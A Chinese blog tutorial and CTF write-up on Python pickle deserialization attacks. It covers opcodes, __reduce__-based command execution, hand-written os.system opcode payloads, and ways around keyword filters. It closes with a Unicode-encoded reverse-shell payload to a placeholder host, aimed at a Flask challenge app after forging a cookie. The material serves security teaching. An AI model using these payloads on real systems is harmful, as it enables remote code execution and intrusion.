news 2025/12/17 14:14:59

深扒Pickle反序列化

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
深扒Pickle反序列化

ckle简介

与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。

python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。

与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。

pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

其中这里有的代码通常涉及pickle协议中一些底层、特殊或非常规的操作,它们超出了简单地“保存和恢复对象状态”的范畴

直接操作栈和变量的底层指令

pickle 的 opcode 包含了一系列用于操作虚拟机栈(Stack)和内存变量的指令,这些指令在常规序列化中会被高层逻辑自动处理,用户无法直接触发:

栈操作指令:如 PUSH、POP、DUP、SWAP 等,用于手动控制栈的内容。

变量操作指令:如 STORE(存储变量)、LOAD(加载变量)、DELETE(删除变量)等,可直接修改全局 / 局部变量,而常规序列化只会保存对象属性,不会主动修改变量。

执行任意代码的指令

pickle 包含 REDUCE、GLOBAL、INST 等指令,配合特殊操作可执行任意 Python 代码,但常规序列化仅会调用对象的 __reduce__ 等方法,不会主动构造恶意或非常规的代码执行逻辑:

例如,通过 GLOBAL 指令加载 os.system,再通过 CALL 指令执行系统命令,这种操作无法通过序列化普通对象实现。

非常规对象或特殊结构的构造

对于一些没有明确 “状态” 的对象,或需要动态构造的特殊结构,常规序列化无法生成对应的 opcode:

函数 / 类的动态修改:直接修改函数的 __code__ 属性,或动态创建类的属性,这类操作需要手动编写 opcode 实现。

循环引用的特殊处理:虽然 pickle 支持循环引用,但手动编写 opcode 可更灵活地控制引用的创建顺序,这是常规序列化无法做到的。

pickle 协议的扩展或未公开指令

pickle 的不同协议版本包含一些未被高层 API 使用的指令,这些指令只能通过手动编写 opcode 调用:

例如,Python 3.x 中新增的 FRAME、MEMOIZE 等指令,用于优化序列化效率,但常规序列化不会主动使用这些底层指令。

object.reduce() 函数

在开发时,可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。

在下文pickle的opcode中, R 的作用与 object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。

什么是opcode

python的opcode是一组原始指令,用于在python解释器中执行字节码。每个opcode都是一个标识符,代表一种特定的操作或指令。

在python中,源代码首先被破译为字节码,然后由解释器逐条执行字节码执行字节码指令。这些指令以opcode的形式存储在字节码对象中,并由python解释器按顺序解释和执行。

每个opcode都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。python提供了大量的opcode,以支持各种操作和语言特性。

INST i、OBJO、REDUCER都可以调用一个callable对象

pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。

import pickle

a={'1': 1, '2': 2}

print(f'# 原变量:{a!r}')

for i in range(6):

print(f'pickle版本{i}',pickle.dumps(a,protocol=i))

image-20251123223701776

pickle3版本的opcode示例:

# 'abcd'

b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

# \x80:协议头声明 \x03:协议版本

# \x04\x00\x00\x00:数据长度:4

# abcd:数据

# q:储存栈顶的字符串长度:一个字节(即\x00)

# \x00:栈顶位置

# .:数据截止

pickletools

使用pickletools可以方便的将opcode转化为便于肉眼读取的形式

import pickletools

data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."

pickletools.dis(data)

image-20251123225547712

pickle exp的简单demo

这里举一道CTF例子

[第十五届极客大挑战]ez_python

import base64

import pickle

from flask import Flask, request

app = Flask(__name__)

@app.route('/')

def index():

with open('app.py', 'r') as f:

return f.read()

@app.route('/calc', methods=['GET'])

def getFlag():

payload = request.args.get("payload")

pickle.loads(base64.b64decode(payload).replace(b'os', b''))

return "ganbadie!"

@app.route('/readFile', methods=['GET'])

def readFile():

filename = request.args.get('filename').replace("flag", "????")

with open(filename, 'r') as f:

return f.read()

if __name__ == '__main__':

app.run(host='0.0.0.0')

calc路由:使用 pickle.loads 尝试反序列化处理后的字节串。如果这个字节串不是合法的序列化对象,或者在反序列化过程中出现问题,可能会引发错误。

readFile路由:打开这个文件名对应的文件进行读取,并将文件内容返回给客户端。如果文件名不合法或者文件不存在,可能会引发错误。

#exp

import os

import pickle

import base64

class A():

def __reduce__(self):

#return (eval,("__import__('o'+'s').popen('ls / | tee a').read()",))

return (eval,("__import__('o'+'s').popen('env | tee a').read()",))

a = A()

b = pickle.dumps(a)

print(base64.b64encode(b))

除了执行命令之外还可以进行变量覆盖

import pickle

key1 = b'321'

key2 = b'123'

class A(object):

def __reduce__(self):

return (exec,("key1=b'1'\nkey2=b'2'",))

a = A()

pickle_a = pickle.dumps(a)

print(pickle_a)

pickle.loads(pickle_a)

print(key1, key2)

image-20251123230606183

基于opcode绕过字节码过滤

对于一些题会对传入的数据进行过滤

例如

1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code

2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:

这个时候考虑用用到opcode

Python中的pickle更像一门编程语言,一种基于栈的虚拟机

回到顶部

如何手写opcode

在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。

在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。

根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。

这里列举了几个opcode,更多的可以去https://github.com/python/cpython/blob/master/Lib/pickle.py#L111

opcode 描述 具体写法 栈上的变化 memo上的变化

c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈 无

o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 无

i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 无

N 实例化一个None N 获得的对象入栈 无

S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈 无

V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 无

I 实例化一个int对象 Ixxx\n 获得的对象入栈 无

F 实例化一个float对象 Fx.x\n 获得的对象入栈 无

R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈 无

. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 无

( 向栈中压入一个MARK标记 ( MARK标记入栈 无

t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 无

) 向栈中直接压入一个空元组 ) 空元组入栈 无

l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 无

] 向栈中直接压入一个空列表 ] 空列表入栈 无

d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 无

} 向栈中直接压入一个空字典 } 空字典入栈 无

p 将栈顶对象储存至memo_n pn\n 无 对象被储存

g 将memo_n的对象压栈 gn\n 对象被压栈 无

0 丢弃栈顶对象 0 栈顶对象被丢弃 无

b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 无

s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 无

u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 无

a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 无

e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新 无

对于做题而言会opache改写就行了

INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象

RCE demo:

R:

b'''cos\nsystem\n(S'whoami'\ntR.'''

c:获取全局对象指令。格式为 c[模块]\n[对象]\n,这里是加载 os 模块的 system 函数。

(:压入 MARK 标记。

S'whoami':压入字符串 'whoami' 作为参数。

t:构建元组(将 MARK 到当前位置的元素打包成元组)。

R:调用指令(REDUCE),执行栈顶的可调用对象(os.system)并传入元组参数。

.:结束,返回结果。

i

b'''(S'whoami'\nios\nsystem\n.'''

(:压入 MARK 标记。

S'whoami':压入参数 'whoami'。

i:实例化指令(INST),需要栈顶是类 / 函数,其下是参数。

os\nsystem:加载 os.system 函数(作为可调用对象)。

.:结束,执行函数调用。

o

b'''(cos\nsystem\nS'whoami'\no.'''

o:调用指令(OBJECT),找到 MARK 标记,将 MARK 后的第一个元素作为可调用对象,后续作为参数执行调用。

无R,i,o os可过

b'''(cos\nsystem\nS'calc'\nos.'''

无R,i,o os 可过 + 关键词过滤

b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''

V操作码是可以识别\u (unicode编码绕过)

特别是命令有特殊功能字符

这里有一个坑 \n是换行如果用赛博厨子 会将 \n 当作字符处理,易出错,所以要用python处理

import base64

opcode=b''''''

print(base64.b64encode(opcode))

回到顶部

例题

import base64

import pickle

from flask import Flask, session

import os

import random

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')

def hello_world():

if not session.get('user'):

session['user'] = ''.join(random.choices("admin", k=5))

return 'Hello {}!'.format(session['user'])

@app.route('/admin')

def admin():

if session.get('user') != "admin":

return f"<script>alert('Access Denied');window.location.href='/'</script>"

else:

try:

a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")

if b'R' in a or b'i' in a or b'o' in a or b'b' in a:

raise pickle.UnpicklingError("R i o b is forbidden")

pickle.loads(base64.b64decode(session.get('ser_data')))

return "ok"

except:

return "error!"

if __name__ == '__main__':

app.run(host='0.0.0.0', port=8888)

审计就不说,前面也就是去爆破一下key,通过flask-unsign去伪造一下admin的cookie

重点看pickle反序列化部分

try:

a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")

if b'R' in a or b'i' in a or b'o' in a or b'b' in a:

raise pickle.UnpicklingError("R i o b is forbidden")

pickle.loads(base64.b64decode(session.get('ser_data')))

return "ok"

except:

return "error!"

首先将opcode进行关键字替换,然后base64解码赋值给a;接着进行if判断Riob是否存在a中,然后进行pickle反序列化

这里虽然禁用操作符使得难以绕过,但是waf存在逻辑漏洞,也就是说pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然会被替换为Os,但是我们还是能执行opcode

然后这里用到的是前面的无R,i,o os 可过 + 关键词过滤

import pickletools

data=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''

pickletools.dis(data)

image-20251123234151629

然后我们打算进行反弹shell,反弹shell中需要用到i参数,而i参数会被检测,但是V操作码是可以识别\u的所以我们可以把我们的代码进行Unicode编码然后放入payload中

image-20251123234347791

\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027

import pickletools

data=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''

pickletools.dis(data)

image-20251123234457018

可以看到虽然用了Unicode编码,但还是被解析了。

当然这里要改成自己服务器的ip和端口

构造完opcode之后那就可以去伪造cookie了,伪造部分就不说了,之后再/admin改包就可以反弹shell了。

回到顶部

pker工具

补充一个工具

https://github.com/eddieivan01/pker

GLOBAL

对应opcode:b’c’

获取module下的一个全局对象(没有import的也可以,比如下面的os):

GLOBAL(‘os’, ‘system’)

输入:module,instance(callable、module都是instance)

INST

对应opcode:b’i’

建立并入栈一个对象(可以执行一个函数):

INST(‘os’, ‘system’, ‘ls’)

输入:module,callable,para

OBJ

对应opcode:b’o’

建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):

OBJ(GLOBAL(‘os’, ‘system’), ‘ls’)

输入:callable,para

xxx(xx,…)

对应opcode:b’R’

使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321

globals_dic[‘local_var’]=‘hello’

对应opcode:b’s’

更新列表或字典的某项的值

xx.attr=123

对应opcode:b’b’

对xx对象进行属性设置

return

对应opcode:b’0’

出栈(作为pickle.loads函数的返回值):

return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2025/12/15 12:49:38

15、优化Windows系统性能:媒体定制与系统分析指南

优化Windows系统性能:媒体定制与系统分析指南 1. 定制Windows媒体库 在Windows系统中,若要将其他计算机上录制的节目添加到媒体库以便观看,可按以下步骤操作: 1. 选择“录制电视”媒体库,然后点击“下一步”。 2. 选择“将文件夹添加到库”,再点击“下一步”。 3. 选…

作者头像 李华
网站建设 2025/12/15 12:49:32

【软考系统架构设计师】六、软件工程

软件工程是软考系统架构设计师考试的核心支柱模块&#xff0c;不仅是理解软件架构设计、系统集成等复杂内容的基础&#xff0c;更是案例分析题中 “架构设计方案落地”“项目风险控制” 等场景的核心依托。在历年考试中&#xff0c;该模块分值稳定在 8-10 分&#xff0c;覆盖单…

作者头像 李华
网站建设 2025/12/15 12:48:44

【Labelme数据操作】LabelMe标注批量复制工具 - 完整教程

1. 脚本功能介绍 本脚本用于批量复制LabelMe标注信息&#xff0c;特别适用于以下场景&#xff1a; 您有一批图片&#xff0c;其中物体位置、形状、大小基本相同您已经使用LabelMe标注了第一张图片您希望将第一张图片的标注信息快速复制到其他图片中需要自动适应不同图片的尺寸信…

作者头像 李华
网站建设 2025/12/15 12:47:59

数控滑台的基本概念

数控滑台是一种通过数控系统控制的精密线性运动装置&#xff0c;广泛应用于机床、自动化生产线、3D打印等领域。其核心组件包括导轨、滚珠丝杠、伺服电机和控制系统&#xff0c;能够实现高精度、高速度的定位与重复运动。数控滑台的工作原理数控滑台通过伺服电机驱动滚珠丝杠旋…

作者头像 李华
网站建设 2025/12/15 12:44:47

FMD辉芒微电子8位微控制器芯片,荣获“深圳市制造业单项冠军企业”认定

辉芒微电子8位微控制器芯片&#xff0c;凭借领先的技术实力、卓越的产品性能以及扎实的市场表现&#xff0c;成功入选深圳市工业和信息化局“深圳市制造业单项冠军企业”认定。何为“制造业单项冠军”&#xff1f;深圳市制造业单项冠军企业&#xff0c;特指那些长期专注于制造业…

作者头像 李华
网站建设 2025/12/15 12:44:24

Unity XR 编辑器VR设备模拟功能

1、导入包2、项目设置中启用这样在场景运行的时候&#xff0c;就能使用模拟器 模拟VR设备了鼠标平移 模拟VR头盔。按住键盘的左Shift键不松开&#xff0c;控制左手柄&#xff0c;按住键盘G键 模拟侧键&#xff08;抓取&#xff09;、鼠标左键模拟扳机键&#xff08;Trigger键&a…

作者头像 李华